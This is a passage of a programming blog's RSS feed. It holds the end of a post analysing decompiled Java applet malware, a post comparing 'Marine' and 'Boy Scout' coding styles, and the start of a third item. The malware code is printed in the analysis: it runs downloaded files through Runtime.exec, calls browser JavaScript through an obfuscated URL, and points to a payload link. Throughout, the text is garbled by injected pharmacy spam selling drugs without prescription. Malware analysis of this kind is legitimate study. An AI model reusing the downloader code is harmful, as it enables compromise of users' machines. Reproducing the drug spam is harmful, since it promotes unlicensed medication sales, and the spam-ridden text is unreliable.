<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>buy Flagyl online cod</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dose</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl wiki</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl australia, uk, us, usa</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>  </div></div></p>
<p><p>c_js.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, <b>Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Buy Flagyl online no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>buy Flagyl from canada</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Where can i find Flagyl online</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>doses Flagyl work</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p></p>
<p><p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p></p>
<p><p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p></p>
<p><p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p></p>
<p><p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p></p>
<p><h3></h3></p>
<p><h3>Where did this go?</h3></p>
<p><p>OK, I spent a couple of hours on this, <b>Where can i buy cheapest Flagyl online</b>, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p></p>
<p><p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p></p>
<p><p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4977'>Spiriva For Sale</a>. <a href='http://elegantcode.com/?p=4713'>Colchicine For Sale</a>. <a href='http://elegantcode.com/?p=4388'>Buy Levaquin Without Prescription</a>. <a href='http://elegantcode.com/?p=5020'>Buy Alesse (Ovral L) Without Prescription</a>. <a href='http://elegantcode.com/?p=4930'>Buy Betnovate Without Prescription</a>. <a href='http://elegantcode.com/?p=4731'>Purchase Celebrex for sale</a>. <a href='http://elegantcode.com/?p=4608'>After Cephalexin</a>. <a href='http://elegantcode.com/?p=4407'>No prescription Nexium online</a>. <a href='http://elegantcode.com/?p=4307'>Toradol long term</a>. <a href='http://elegantcode.com/?p=4715'>Aldactone pics</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Buy Augmentin Without Prescription</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Metronidazole Gel For Sale</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
